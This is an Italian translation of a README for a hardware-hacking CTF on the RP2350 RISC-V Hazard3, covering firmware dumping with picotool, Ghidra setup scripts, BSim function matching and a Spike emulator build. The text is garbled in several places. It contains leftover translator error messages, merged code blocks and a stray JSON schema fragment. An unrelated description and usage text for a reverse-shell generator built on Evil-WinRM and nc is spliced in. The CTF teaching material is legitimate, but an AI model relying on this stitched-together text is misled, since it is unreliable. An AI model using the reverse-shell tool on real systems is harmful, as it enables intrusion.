
CTF di hacking hardware hcon2026hwctf - Exploit di RISCV Hazard3 (@Wren6991) a cura di @b1n4ri0 @antoniovazquezblanco e @therealdreg
Se ti piacciono i CTF hardware, ecco la prima sfida pubblica dell'HC0N CTF 2026 con sfide di exploitation su RISC-V RP2350 (basso livello)
Abbiamo cercato di rendere la sfida non troppo elitaria o difficile, così che le centinaia di partecipanti alla conferenza avessero la possibilità di risolverla. Speriamo di esserci riusciti.
Se vuoi eseguire il CTF a casa, prendi un Raspberry Pi Pico 2, flasha questo firmware e non leggere i write-up! -> ctf.uf2
Nota per chiunque usi una board (RP2350/RP2354...) diversa da quella del CTF:
Il PCB del CTF ha un LED SMD sul GPIO 25, devi avere un LED su quel GPIO

Quando finisci questo CTF, se ti è piaciuto, ecco un altro simile con sfide diverse: https://github.com/therealdreg/ctfhardwarehackingcon2026
ATTENZIONE: I seguenti write-up contengono spoiler sulle sfide. Se vuoi risolverle da solo, ti consigliamo di non leggerli finché non hai completato il CTF.
Primo Vincitore: @mrexodia (Duncan Ogilvie) writeups/first_winner.md

Premio: kit hardware keylogger USB/PS2 okhi + CWP (Certified WifiChallenge Professional) https://github.com/therealdreg/okhi
Secondo Vincitore: @M3RINOOOOO (Cristobal Merino Saez) writeups/second_winner.md

Premio: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, PICO2 H, CWP (Certified WifiChallenge Professional)
Terzo Vincitore: @p4bl0vx (Pablo Moya Lopez) writeups/third_winner.md

Premio: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, CWP (Certified WifiChallenge Professional).
Qui ti forniremo alcuni aiuti per rendere più facile il Hardware Hacking CTF all'HCON 2026.

Un host Linux dovrebbe essere la tua prima scelta ;-), il debug funziona meglio.
TeraTerm: Setup -> Terminal -> Transmit: CR+LF & [x] Local echo

Altri:
cutecom:``` sudo apt-get update sudo apt-get install cutecom
# AVVERTENZA
Una delle sfide richiede il debug hardware. Se stai affrontando la sfida da casa (senza un compagno di squadra che abbia un'altra board), per risolverla dovrai anche acquistare questi due componenti. (Se non li acquisti, nessun problema—ma non potrai risolvere quella specifica sfida.)
- https://www.tiendatec.es/raspberry-pi-pico/2025-raspberry-pi-debug-probe-5056561803265.html
- https://www.tiendatec.es/raspberry-pi-pico/1979-cable-depuracion-pico-jtag-jst-sh-1-0-a-dupont-hembra-15cm-8472496024846.html
# Informazioni sugli script
Gli strumenti inclusi in questo repository sono stati sviluppati da @b1n4ri0 per la community e specificamente per la HCON Hardware Hacking Challenge 2026.
# Sfruttare il processore RP2350 RISCV Hazard3 (@Wren6991) a 3 stadi RV32IMACZb* con supporto debug
RISCV Hazard3 è un processore RV32IMACZb* a 3 stadi con supporto debug. Viene utilizzato nel microcontrollore RP2350 presente sulla board HCON2026HWCTF.
# Estrarre il firmware RISCV Hazard3 con picotool
Estrarre il firmware dai dispositivi RP2350 con `picotool` è un processo semplice. In questa sezione imparerai come farlo in modo efficace.
Nota: `picotool` interagisce con i dispositivi RP2350 (e RP2040) solo quando sono in modalità BOOTSEL o se il firmware in esecuzione include il supporto USB stdio del Pico SDK.
## Compilazione di picotool
Installa gli strumenti di compilazione e le librerie necessari tramite il tuo gestore di pacchetti preferito.```bash
sudo apt-get update
sudo apt install build-essential pkg-config libusb-1.0-0-dev cmake -y
Crea una directory dedicata per mantenere organizzati i tuoi strumenti. Ciò garantisce che i percorsi utilizzati nei passaggi successivi siano corretti.```bash cd $HOME mkdir rptools cd rptools
Clona i progetti `picotool` e `pico-sdk`, ci servono sia il tool stesso che l'SDK. Nota che `picotool` richiede `pico-sdk` per compilare correttamente.```bash
git clone https://github.com/raspberrypi/picotool.git
git clone https://github.com/raspberrypi/pico-sdk.git
cd picotool
Crea la directory di build ed esegui CMake.
Importante: dobbiamo usare il flag -DPICO_SDK_PATH per dire a CMake esattamente dove abbiamo scaricato l'SDK nel passaggio precedente, oppure possiamo impostare PICO_SDK_PATH nell'ambiente.```bash
mkdir build
cd build
cmake -DPICO_SDK_PATH=$HOME/rptools/pico-sdk ..
sudo make install
Per impostazione predefinita, l'accesso ai dispositivi USB richiede privilegi di root. Copiare il file delle regole udev per consentire l'esecuzione di `picotool` senza usare `sudo`.```bash
sudo cp ../udev/60-picotool.rules /etc/udev/rules.d/
Ricarica le regole udev (o scollega e ricollega il tuo dispositivo) e controlla la versione eseguendo picotool version per assicurarti che tutto funzioni:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-15.2.0, Release)
## Utilizzo del binario precompilato
Se preferisci saltare il processo di compilazione, puoi scaricare il binario precompilato dal [repository ufficiale](https://github.com/raspberrypi/pico-sdk-tools/releases).```bash
gunzip picotool-2.2.0-a4-x86_64-lin.tar.gz
tar -xf picotool-2.2.0-a4-x86_64-lin.tar
cd picotool
L'esecuzione di picotool version dovrebbe funzionare come previsto:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-11.4.0, Release)
## Abilitare la modalità BOOTSEL su RP2350
Per eseguire operazioni come il dump del firmware, `picotool` richiede che il dispositivo sia in modalità BOOTSEL. Tuttavia, `picotool` può anche interagire con il dispositivo se il firmware attualmente in esecuzione include il supporto USB stdio del Pico SDK.
Di seguito, menzionerò diversi modi per attivare questa modalità. Scegli quello che sembra più adatto al tuo caso o semplicemente quello che funziona per te.
Se la tua scheda **non è in modalità BOOTSEL**, ma include il supporto USB stdio**,** vedrai un output come questo quando provi a eseguire i comandi `picotool`:```bash
$ ./picotool info
No accessible RP-series devices in BOOTSEL mode were found.
but:
RP2350 device at bus 1, address 23 appears to have a USB serial connection, so consider -f (or -F) to force reboot in order to run the command.
Questo è il metodo hardware standard utilizzato:
BOOTSEL o BOOT.BOOTSEL.Alternativa (se non vuoi scollegare la scheda):
BOOTSEL.RESET o RST.BOOTSEL.Ora dovresti essere in grado di eseguire i comandi picotool:```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
### Software che abilita BOOTSEL
Se il firmware del dispositivo è in esecuzione e dispone del supporto USB stdio, puoi forzarlo in modalità BOOTSEL senza toccare la scheda.```bash
./picotool reboot -uf
Il comando usa il flag -u per specificare che vogliamo riavviare specificamente in modalità BOOTSEL. Tuttavia, poiché il dispositivo sta attualmente eseguendo codice utente, picotool lo ignorerà di default. Pertanto, dobbiamo aggiungere il flag -f per forzare l'applicazione in esecuzione ad accettare il comando di reset.
Senza -f, l'operazione fallirebbe semplicemente perché lo strumento si aspetta che il dispositivo sia già in modalità BOOTSEL.```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
**Suggerimento:** Puoi eseguire comandi direttamente su un dispositivo in esecuzione senza riavviarlo manualmente prima, aggiungendo il flag `-f` al tuo comando. `picotool` gestirà il riavvio, eseguirà il comando e riavvierà tornando all'applicazione.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
The device was asked to reboot back into application mode.
Per questa sfida CTF, possiamo estrarre il firmware direttamente senza entrare in modalità BOOTSEL.
Consiglio di raccogliere informazioni sul programma in esecuzione. Puoi farlo usando il comando info, che visualizza la sezione “Program Information” per impostazione predefinita. Poiché il dispositivo sta attualmente eseguendo codice, aggiungiamo il flag -f per forzare la connessione.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information name: hello_usb features: USB stdin / stdout binary start: 0x10000000 binary end: 0x10011d50 target chip: RP2350 image type: RISC-V
The device was asked to reboot back into application mode.
Questo output rivela dettagli essenziali come il nome del programma, il suo intervallo di memoria e l'architettura dell'immagine.
Ora, procediamo a estrarre il programma, creando una directory per memorizzare i file estratti.```bash
mkdir -p $HOME/hcon2026hwctf/
Esegui il seguente comando per estrarre il firmware:```bash ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Questo singolo comando gestisce l'intero processo di estrazione. Forza l'RP2350 a riavviarsi in modalità BOOTSEL, legge il programma attualmente installato dalla memoria flash e lo salva come file binario grezzo. Per assicurarsi che l'estrazione sia corretta, rilegge i dati per verificare che il file estratto corrisponda esattamente al contenuto del chip.
Dovresti ottenere un output simile a questo:
``````bash
$ ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Saving file: [==============================] 100%
Wrote 73040 bytes to /home/b1n4ri0/hcon2026hwctf/hello_usb.bin
Verifying Flash: [==============================] 100%
OK
The device was asked to reboot back into application mode.
E questo è tutto: hai scaricato con successo il programma!
Nota: tieni presente che hai estratto solo il programma installato, non l'intero contenuto della memoria flash.
Se incontri errori, verifica che il dispositivo sia collegato correttamente. Se il riavvio automatico fallisce, entra manualmente in modalità BOOTSEL ed esegui di nuovo il comando senza il flag -f. Per maggiori informazioni sulle opzioni disponibili, esegui semplicemente picotool help <command>.
Una volta estratto il firmware RP2350, il passo logico successivo è il reverse engineering. Per questo compito, consigliamo di usare Ghidra. Tuttavia, sono necessari alcuni aggiustamenti per garantire un'analisi accurata.
Quando carichi il binario e tenti di disassemblarlo, probabilmente incontrerai funzioni incomplete o codice visivamente corrotto. Questo non significa che l'estrazione sia fallita. Il problema sta nel fatto che Ghidra (inclusa la versione 12.0.2) non riesce a interpretare nativamente alcune istruzioni specifiche di questo SoC.
Il motivo tecnico è che Ghidra implementa le estensioni RISC-V C (Compressed) e B (Bit-manipulation) basandosi su una bozza preliminare della specifica (v0.92). Al contrario, la CPU Hazard3 utilizzata nell'RP2350 implementa la versione ratificata v1.0.0. Di conseguenza, molte istruzioni moderne sono sconosciute a Ghidra oppure sono cambiate rispetto alle definizioni precedenti.
Per informazioni dettagliate sulle istruzioni supportate da Hazard3, fai riferimento alla documentazione ufficiale: wren.wtf/hazard3/doc/
Per risolvere questo conflitto e ottenere un disassemblaggio corretto, devi aggiornare le definizioni del processore in Ghidra alla specifica ratificata v1.0.0.
Per prima cosa, individua il percorso di installazione di Ghidra (ad es. ~/ghidra_12.0_PUBLIC). Spostati nella directory del processore RISC-V e rinomina la cartella data esistente come backup:```bash
export GHIDRA_INSTALL_DIR=~/ghidra_12.0_PUBLIC
cd $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV
mv data data_back
Successivamente, clona il repository contenente le definizioni delle istruzioni aggiornate e sposta la nuova cartella `data` nella tua installazione di Ghidra:```bash
cd $HOME
git clone https://github.com/therealdreg/hcon2026hwctf.git
cp -r hcon2026hwctf/RVGhidraImpl/data $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV/
Con le definizioni del processore patchate in atto, segui questi passaggi per caricare correttamente il binario:
PyGhidra.Non-Shared Project (ad es., hwctf2026).Active Project.Language.RISCV e seleziona: RISCV:LE:32:default:gcc (RISCV default 32 little gcc).Ok.CodeBrowser.No.Una volta caricato il binario con le definizioni corrette del processore, Ghidra sarà in grado di disassemblare accuratamente gli opcode. Tuttavia, è importante notare che di solito abbiamo a che fare con file .bin grezzi. Questi file non contengono intrinsecamente tabelle dei simboli o metadati che facilitino l'analisi.
La quantità di informazioni recuperabili dipende interamente dall'origine del binario. In questo caso, il nostro target è un firmware RP2350 compilato con pico-sdk v2.2.0. Questo offre un vantaggio significativo, poiché usando l'SDK ufficiale, il binario potrebbe essere compatibile con picotool. Questo strumento ci consente di identificare ed estrarre metadati, a condizione che il binario contenga ancora le intestazioni necessarie affinché picotool possa analizzarlo.
Per impostazione predefinita, Ghidra non può interpretare il layout di memoria senza un intervento manuale. Tentare di analizzare il firmware senza una mappa di memoria adeguata produrrà scarsi risultati e numerosi errori. Ciò è dovuto all'architettura di Ghidra, che richiede un contesto esplicito per risolvere i riferimenti.
In questo scenario specifico, il programma è compilato per essere eseguito dalla SRAM. Ciò significa che il firmware contiene riferimenti attivi a due regioni di memoria distinte con indirizzi di base diversi. Senza una configurazione corretta, Ghidra fa fatica a seguire il flusso di disassemblaggio attraverso queste regioni, complicando notevolmente il processo di reverse engineering.
Per semplificare la configurazione e garantire coerenza, ho sviluppato uno script che automatizza la mappatura della memoria e la configurazione dell'ambiente. Sebbene questa automazione semplifichi i passaggi iniziali, è fortemente consigliato rivedere il codice sorgente dello script o il README del repository per comprendere la logica sottostante al flusso di lavoro di analisi. Per una comprensione tecnica più approfondita del layout di memoria e della mappatura delle periferiche, dovresti anche consultare il datasheet RP2350 ufficiale.
Sia il Ghidra RP2350 Setup Tool che il SVD Loader for PyGhidra sono stati inclusi direttamente in questo repository. Le sezioni seguenti forniscono istruzioni dettagliate su come installare e utilizzare efficacemente questi strumenti.
Lo script hcon26_rp2350-ctf_auto_setup.py è progettato per automatizzare la configurazione iniziale e l'ambiente di analisi statica per firmware che hanno come target il Raspberry Pi RP2350 (core RISC-V Hazard3). Questo strumento è sviluppato specificamente per supportare le attività di reverse engineering associate alla H-Con 2026 Hardware Hacking Challenge.
Il firmware binario grezzo manca intrinsecamente delle intestazioni di file e delle tabelle dei simboli necessarie per il caricamento automatico. Questo costringe gli analisti a configurare manualmente mappe di memoria, punti di ingresso e stati del processore prima che qualsiasi codice diventi leggibile. Questo strumento automatizza l'intero processo, preparando immediatamente il binario per il reverse engineering.
Questo script elimina il sovraccarico di configurazione manuale tipicamente richiesto per l'analisi del firmware embedded. Automatizzando il processo di caricamento, garantisce un progetto Ghidra coerente e funzionale, consentendo ai partecipanti di concentrarsi immediatamente sulla ricerca di vulnerabilità e sull'analisi logica piuttosto che sulla configurazione dell'ambiente.
Configurazione automatizzata dell'ambiente: Stabilisce immediatamente il layout di memoria corretto per l'RP2350, definendo le regioni Flash (XIP) e SRAM con i permessi appropriati richiesti dal decompilatore.
Rilevamento del punto di ingresso: Scansiona le intestazioni specifiche dell'RP2350 per identificare il vero indirizzo di inizio dell'esecuzione, gestendo vettori di boot non standard spesso presenti nei binari compilati "On-RAM".
Risoluzione del contesto: Inizializza automaticamente il registro Global Pointer gp. Questo garantisce che i riferimenti a variabili globali e dati statici vengano risolti correttamente nel decompilatore, invece di apparire come offset rotti.
Ricostruzione della sezione dati: Identifica e riloca le sezioni inizializzate dalla Flash alla RAM, replicando il processo di boot. Questo garantisce che le stringhe letterali e le variabili globali appaiano nelle loro posizioni di memoria corrette durante l'analisi.
Recupero dei simboli: Identifica euristicamente la logica principale dell'applicazione e la sequenza di inizializzazione runtime, consentendo all'analista di passare direttamente al codice utente senza tracciare manualmente l'intero bootloader.
con26_rp2350-ctf_auto_setup.py.```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. Copia il file script nella directory `ghidra_scripts` della tua installazione di Ghidra.```bash
cd hcon2026hwctf/GhidraScripts
cp hcon26_rp2350-ctf_auto_setup.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
Importa il file .bin di destinazione in Ghidra (RV32).
Apri il file nel Code Browser.
Quando viene richiesto di analizzare il file, seleziona No.
Apri lo Script Manager Window > Script Manager.
Cerca hcon26_rp2350-ctf_auto_setup.py nella categoria RP2350.
Esegui lo script e attendi l'output della console per confermare il completamento. Assicurati di leggere le informazioni Next Steps visualizzate nella console.
Dopo che lo script di configurazione è terminato, esegui RP2350 SVD Loader per mappare i registri hardware e le periferiche.
I file System View Description (SVD) sono documenti basati su XML che contengono una descrizione dettagliata dei registri periferici di un microcontrollore. Definiscono indirizzi di memoria, offset dei registri, campi di bit e valori di reset. Nel reverse engineering, questi file sono essenziali per mappare lo spazio di memoria grezzo di un binario in nomi di periferiche leggibili dall'uomo, trasformando accessi alla memoria anonimi in interazioni hardware identificate.
Questo script è un loader SVD per l'RP2350 (Pico 2) adattato per PyGhidra. Automatizza la creazione di segmenti di memoria e definizioni dei registri basandosi sulle specifiche SVD ufficiali.
Questa versione è stata sviluppata sulla base del lavoro precedente presente nei seguenti repository:
Puoi anche usare https://github.com/antoniovazquezblanco/GhidraSVD sviluppato da @antoniovazquezblanco
SVD-Loader-RP2350.py.```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. Copia il file script nella directory `ghidra_scripts` della tua installazione di Ghidra.```bash
cd hcon2026hwctf/GhidraScripts
cp SVD-Loader-RP2350.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
.bin di destinazione in Ghidra.CodeBrowser.No.Window > Script Manager.SVD-Loader-RP2350.py nella categoria RP2350.A.
Gli script forniti richiedono un ambiente PyGhidra funzionante.
- **Installa le dipendenze**```bash
pip install pyghidra cmsis-svd
## Risoluzione dei problemi: import cmsis-svd
Se `SVD-Loader-RP2350.py` non riesce a trovare la libreria `cmsis-svd`, puoi installarla direttamente nell'interprete PyGhidra:
1. Nel **CodeBrowser**, vai su `Window > PyGhidra`.
2. Esegui il seguente frammento di codice:```python
import subprocess as s
import sys
s.check_call([sys.executable, "-m", "pip", "install", "cmsis-svd"])
Dopo aver configurato Ghidra e aver disassemblato il binario, l'obiettivo successivo è distinguere le funzioni specifiche della sfida da quelle appartenenti all'SDK.
In genere, lo strumento standard per questo compito è Ghidra FID (Function ID). Il flusso di lavoro prevede la compilazione degli esempi dell'SDK con la stessa configurazione del binario target per generare un database FIDB; questo consente a Ghidra di identificare e nominare automaticamente le funzioni. Tuttavia, in questo caso FID ha un tasso di riconoscimento molto basso.
Per superare questa limitazione, useremo BSim. Anche se esistono altre alternative come Version Tracking o Ghidriff, queste sono progettate principalmente per confrontare le modifiche tra versioni (patch diffing) e non sono altrettanto efficaci per questo scopo specifico.
Affinché Ghidra possa identificare le funzioni tramite confronto, dobbiamo prima generare un database di riferimento compilando gli esempi pico-sdk. Se vuoi ottimizzare il tuo tempo, puoi concentrarti sui quattro binari essenziali menzionati alla fine di questa sezione.
Clona il repository ufficiale degli esempi:
git clone https://github.com/raspberrypi/pico-examples.git
cd pico-examples
mkdir build
cd build
```
### Raspberry Pi Pico Extension
Per utilizzare questi percorsi, deve essere installata l'estensione Raspberry Pi Pico per VS Code. Queste strutture di directory sono native dell'ambiente dell'estensione.
Una volta installata l'estensione, configura il tuo progetto selezionando **Board Type: Pico 2** e **Architecture (pico2): RISC-V**. La semplice creazione del progetto con queste impostazioni attiverà l'installazione di tutte le risorse necessarie. In questo caso non è richiesta alcuna compilazione aggiuntiva.
Utilizzeremo una configurazione specifica per l'RP2350 Hazard3, garantendo che simboli e formattazione corrispondano al binario della sfida.```bash
export PICO_SDK_PATH="$HOME/.pico-sdk/sdk/2.2.0"
export PICO_TOOLCHAIN_PATH="$HOME/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3"
```
[No content provided in the INPUT section. Please provide the Markdown text to translate.]```bash
cmake -DPICO_PLATFORM=rp2350-riscv \
-DPICO_BOARD=pico2 \
-DPICO_COMPILER=pico_riscv_gcc \
-DCMAKE_BUILD_TYPE=Debug \
-DPICO_DEFAULT_BINARY_TYPE=copy_to_ram \
-DPICO_STDIO_USB=1 \
-DPICO_STDIO_UART=0 \
-DCMAKE_C_FLAGS="-march=rv32ima_zicsr_zifencei_zba_zbb_zbs_zbkb_zca_zcb_zcmp -mabi=ilp32 -O0 -g3 -fno-omit-frame-pointer -fno-lto" \
-DCMAKE_EXE_LINKER_FLAGS="-Wl,--print-memory-usage" \
..
```
INPUT è vuoto: non è stato fornito alcun contenuto da tradurre per questo chunk.```bash
make -j$(nproc) -k
```
Una volta completata la compilazione, raggruppa tutti i file `.elf` in una directory dedicata per un'analisi più semplice:```bash
mkdir ../sdk-elfs
find . -name "*.elf" -exec cp --backup=numbered {} ../sdk-elfs/ \;
```
### Analisi automatizzata con Ghidra Headless
Per elaborare il grande volume di file generati, l'uso della modalità headless di Ghidra è il metodo più efficiente. Assicurati di eseguire l'analisi puntando al progetto in cui hai già configurato il binario della challenge:```bash
# Run $GHIDRA_INSTALL_DIR/support/analyzeHeadless to check the usage
$GHIDRA_INSTALL_DIR/support/analyzeHeadless $HOME/hcon2026hwctf hwctf2026 -import pico-examples/sdk-elfs -recursive -processor "RISCV:LE:32:default"
```
Se preferisci ridurre i tempi di analisi, elabora almeno questi quattro file, che contengono la maggior parte delle funzioni SDK presenti nella sfida:
- `tinyusb_dev_cdc_msc.elf`
- `multicore_runner_queue.elf`
- `hello_gpio_irq.elf`
- `hello_timer.elf`
## Analisi con BSim
Quando l'identificazione tradizionale delle firme (FID) non è sufficiente, BSim è l'alternativa più potente. A differenza di altri metodi, BSim si basa sul comportamento e sulla struttura del codice, consentendo confronti tra architetture diverse e ignorando le variazioni causate dai livelli di ottimizzazione.
### Configurazione del database BSim
Sebbene si possa utilizzare la GUI, eseguire la configurazione tramite terminale è più efficiente per elaborare più binari.```bash
cd $GHIDRA_INSTALL_DIR/support
```
Crea il file del database H2:```bash
# Run ./bsim to check the usage
./bsim createdatabase file:/<db_directory_path>/pico_db medium_nosize
```
Estrai le firme dai binari già analizzati nel progetto Ghidra:```bash
mkdir ~/bsim_sigs
./bsim generatesigs ghidra:$HOME/hcon2026hwctf/hwctf2026 ~/bsim_sigs --bsim file:/<db_directory_path>/pico_db
```
Termina il processo salvando le firme generate nel nostro database:```bash
./bsim commitsigs file:/<db_directory_path>/pico_db ~/bsim_sigs
```
### Integrazione nella GUI di Ghidra
Una volta creato il database, collegalo al Code Browser:
1. Vai alla scheda `BSim > Manage Servers`.
2. Fai clic sull'`icona "+" verde` e seleziona il tipo `File`.
3. Sfoglia e seleziona il database appena creato.
4. Fai clic su `Dismiss` per chiudere la finestra.
### Identificazione delle funzioni
Esistono diversi modi per cercare corrispondenze con BSim; il seguente è il più consigliato:
- Nel pannello del decompilatore, fai clic con il tasto destro sul **nome della funzione**, quindi `BSim > Search functions`.
- Se non ottieni risultati, seleziona l'opzione in fondo al menu BSim per aprire la finestra delle impostazioni. Qui puoi ridurre la `Similarity Threshold` per trovare funzioni che hanno subito lievi variazioni durante la compilazione.
**Suggerimento**: Se sei certo che una funzione sia corretta, ma le sue funzioni interne ("figlie") rimangono senza nome, usa la finestra dei risultati BSim:
- Seleziona la funzione padre e premi `Shift + C` per aprire il confronto.
- Fai clic con il tasto destro e seleziona `Compare matching callees`.
- Rinominala con la firma corretta.
## Analisi con Version Tracking
Se l'opzione BSim non soddisfa le tue esigenze, puoi usare **Version Tracking**.
### Creazione della sessione
Nella finestra principale di Ghidra, individua l'`icona delle impronte blu` all'estrema destra della `Tool Chest` per aprire lo strumento Version Tracking.
1. Fai clic sull'`icona delle impronte blu` nel menu in alto a sinistra per creare una nuova sessione.
2. Assegna un nome descrittivo (ad es. `tinyusb_dev_cdc_msc`).
3. Seleziona il file ELF dell'SDK come sorgente.
4. Seleziona il binario della challenge come destinazione.
5. Procedi attraverso i controlli preliminari. Puoi ignorare avvisi minori purché non si verifichino errori critici. Fai clic su `Finish`.
### Esecuzione dei correlatori
Si apriranno tre finestre: Source Tool, Destination Tool e la console di Version Tracking.
Nella finestra Version Tracking:
1. Fai clic sull'`icona "+" verde` (Aggiungi correlazioni aggiuntive).
2. Seleziona tutti i correlatori disponibili. Anche se alcuni possono sembrare ridondanti, consentire a Ghidra di eseguirli tutti massimizza le possibilità di successo.
3. Mantieni i valori di configurazione predefiniti; potrai modificarli nelle sessioni successive se avrai bisogno di maggiore precisione.
4. Fai clic su `Finish` e attendi la conclusione del processo. In generale, gli algoritmi basati su BSim offriranno i risultati più robusti.
### Strategie di validazione
Una volta ottenuti i risultati di Version Tracking, esistono due metodologie principali per applicare le modifiche al binario della challenge:
1. Analisi manuale di ogni corrispondenza per garantire un'elevata precisione.
2. Accettazione automatica delle funzioni che superano uno specifico livello di confidenza, effettuando una revisione manuale solo sui risultati dubbi.
Per implementare la seconda strategia, è essenziale filtrare i risultati per concentrarsi sulle corrispondenze più forti:
- Nella barra di ricerca `Filter`, digita "Function" per visualizzare solo le correlazioni tra funzioni.
- **Raccomandazione tecnica:** Si suggerisce di accettare in blocco le funzioni con un punteggio di confidenza superiore a **0.8**, verificando sempre l'algoritmo utilizzato per la correlazione.
### Applicazione delle corrispondenze
Per confermare e trasferire i nomi al binario di destinazione, usa l'`icona del segno di spunta verde` (situata tra le icone della bandiera e del disco).
### Suggerimenti per l'analisi
- È comune trovare funzioni in conflitto. In questi casi, ignora l'assegnazione automatica e valida manualmente che le definizioni siano coerenti con il contesto della challenge.
- Cerca di risolvere tutto in **un'unica sessione**. Se non è possibile, crea sessioni indipendenti per diversi ELF dell'SDK e applica le modifiche in modo incrementale.
- Se identifichi una funzione con totale certezza ma i correlatori non riescono a rilevare le funzioni adiacenti, controlla la loro posizione nel file ELF originale. A causa della struttura di build, è altamente probabile che la funzione che stai cercando si trovi a un indirizzo relativo simile nel binario della challenge.
A seconda del tuo stile di analisi, puoi optare per due approcci:
1. Iniziare direttamente con il reverse engineering di `main`. Man mano che incontri funzioni sconosciute, usa **BSim** per identificarle.
2. Applicare prima **FIDB** per stabilire le funzioni di base, quindi eseguire **Version Tracker** con il correlatore BSim per nominare l'intero SDK in una volta.
- [Tutorial FID](https://www.tarlogic.com/blog/esp32-firmware-using-ghidra-fidb/)
Scegli il metodo che funziona meglio per te.
Maggiori informazioni su BSim:
- [Tutorial BSim](https://ghidra.re/ghidra_docs/GhidraClass/BSim/README.html)
# Impara a sfruttare un classico Buffer Overflow su RISCV Hazard3 usando l'emulatore Spike
## Compilare Spike```
sudo apt-get update
sudo apt-get install git build-essential autoconf automake autotools-dev curl python3 libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev device-tree-compiler libboost-regex-dev libboost-system-dev
```
<INSTALL_SCRIPT> per iniziare.
## Compilazione
Puoi compilare autonomamente con:```
cd /home/dreg
mkdir RISCV
export RISCV=/home/dreg/RISCV
export PATH=$PATH:$RISCV/bin
```
I don't see any content to translate. The input section is empty. Please provide the actual chunk content so I can translate it from English to Italian.```
cd /home/dreg/RISCV
git clone https://github.com/riscv/riscv-pk
git clone https://github.com/riscv/riscv-isa-sim
git clone --recursive https://github.com/riscv/riscv-gnu-toolchain
```
[shell nc per Windows]
## Caratteristiche e Funzionalità dello Strumento
- `GenReverseShellEvilWinRMAgent`: Il generatore Sh4Do0WOP svolge un ruolo cruciale nella creazione dell'agente che gestisce le connessioni quando si generano payload di reverse shell. Questo agente è progettato per gestire la comunicazione tra il sistema bersaglio e la macchina dell'attaccante. Sfruttando le capacità di Evil-WinRM, il generatore garantisce una reverse shell robusta e affidabile.
```
usage: Sh4Do0WOP.py [-h] -H HOST --nc-port NC_PORT [-r] [-l LHOST]
Reverse shell generator. Evil-WinRM connection and nc shell.
options:
-h, --help show this help message and exit
-H HOST, --host HOST IP address of remote host
--nc-port NC_PORT Port for nc shell
-r, --reverse Victim's machine connects to our nc.
-l LHOST, --lhost LHOST
IP address for reverse shell.
cd /home/dreg/RISCV/riscv-gnu-toolchain mkdir build cd build ../configure --prefix=$RISCV --with-arch=rv32imac_zicsr_zifencei_zba_zbb_zbs --with-abi=ilp32 make
"type": "string",
"enum": [
"none",
"hidden",
"login",
"additional-password"
]
},
"prefix": {```
cd /home/dreg/RISCV/riscv-pk
mkdir build
cd build
../configure --prefix=$RISCV --host=riscv32-unknown-elf
make
make install
I'm unable to translate this chunk because no input content was provided. The input section is empty. Please provide the source text.``` cd /home/dreg/RISCV/riscv-isa-sim mkdir build cd build ../configure --prefix=$RISCV --enable-histogram make make install
### Testa se funziona
poc.c (/home/dreg/RISCV/poc.c)```
#include <stdio.h>
int main()
{
printf("Hello Dreg RISCV!\n");
return 0;
}
Compila poc.c``` cd /home/dreg/RISCV /home/dreg/RISCV/bin/riscv32-unknown-elf-gcc -march=rv32imac_zicsr_zifencei_zba_zbb_zbs -mabi=ilp32 -static -g poc.c -o poc
Esegui poc su Spike```
cd /home/dreg/RISCV
/home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
L'output dovrebbe essere:``` Hello Dreg RISCV!
Congratulazioni, hai compilato ed eseguito con successo un programma RISCV utilizzando l'emulatore Spike!
## Come usare il debugger Spike
Debug della funzione main:```
cd /home/dreg/RISCV/
/home/dreg/RISCV/bin/riscv32-unknown-elf-objdump -D poc
funzione main nel mio caso a 0x00010154``` ..... 0001016a
: 1016a: 1141 addi sp,sp,-16 1016c: c606 sw ra,12(sp) 1016e: c422 sw s0,8(sp) 10170: 0800 addi s0,sp,16 10172: 67c9 lui a5,0x12 10174: 43c78513 addi a0,a5,1084 # 1243c <__errno+0x6> 10178: 26ad jal 104e2 1017a: 4781 li a5,0 1017c: 853e mv a0,a5 1017e: 40b2 lw ra,12(sp) 10180: 4422 lw s0,8(sp) 10182: 0141 addi sp,sp,16 10184: 8082 ret .....[No content provided for translation.]```
cd /home/dreg/RISCV/
/home/dreg/RISCV/bin/spike -d --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
All'interno del debugger spike:``` (spike) until pc 0 0x0001016a (spike) pc 0 0x0001016a
Ora sei all'inizio della funzione main, premi Invio per eseguire le istruzioni una per una.```
(spike)
core 0: 0x0001016a (0x00001141) c.addi sp, -16
(spike)
core 0: 0x0001016c (0x0000c606) c.swsp ra, 12(sp)
(spike)
core 0: 0x0001016e (0x0000c422) c.swsp s0, 8(sp)
(spike)
core 0: 0x00010170 (0x00000800) c.addi4spn s0, sp, 16
